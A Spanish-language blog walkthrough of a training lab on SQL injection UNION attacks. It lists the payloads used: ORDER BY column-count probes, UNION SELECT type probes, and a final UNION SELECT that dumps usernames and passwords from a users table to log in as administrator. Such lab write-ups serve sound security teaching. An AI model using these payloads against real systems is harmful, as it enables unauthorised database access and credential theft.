Introducción
LABORATORIO 9: SQL injection UNION attack, retrieving data from other tables
Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puede usar un ataque UNION para recuperar datos de otras tablas. Para construir un ataque de este tipo, debe combinar algunas de las técnicas que aprendió en los laboratorios anteriores.
La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password.
Para resolver el laboratorio, realice un ataque UNION de inyección SQL que recupere todos los nombres de usuario y contraseñas, y use la información para iniciar sesión como usuario administrator.
Solución
Determinar el número de columnas devueltas
' ORDER BY 1--
![](https://elhackeretico.com/wp-content/uploads/2023/07/image-93.png)
' ORDER BY 2--
![](https://elhackeretico.com/wp-content/uploads/2023/07/image-94.png)
' ORDER BY 3 --
![](https://elhackeretico.com/wp-content/uploads/2023/07/image-95.png)
En función de los resultados obtenidos, el número de columnas devueltas por la petición es 2.
Determinar que columnas contiene datos tipos string
' UNION SELECT 'a', NULL--
![](https://elhackeretico.com/wp-content/uploads/2023/07/image-96.png)
' UNION SELECT 'a', 'a'--
![](https://elhackeretico.com/wp-content/uploads/2023/07/image-97.png)
Por los resultados obtenidos, ambas columnas contienen datos de tipo string.
Consultar la base de datos para extraer datos interesantes
' UNION SELECT username, password FROM users --
![](https://elhackeretico.com/wp-content/uploads/2023/07/image-98.png)
Solo quedará introducir las credenciales del usuario administrator en el login para resolver el reto.
![](https://elhackeretico.com/wp-content/uploads/2023/07/image-99.png)
No responses yet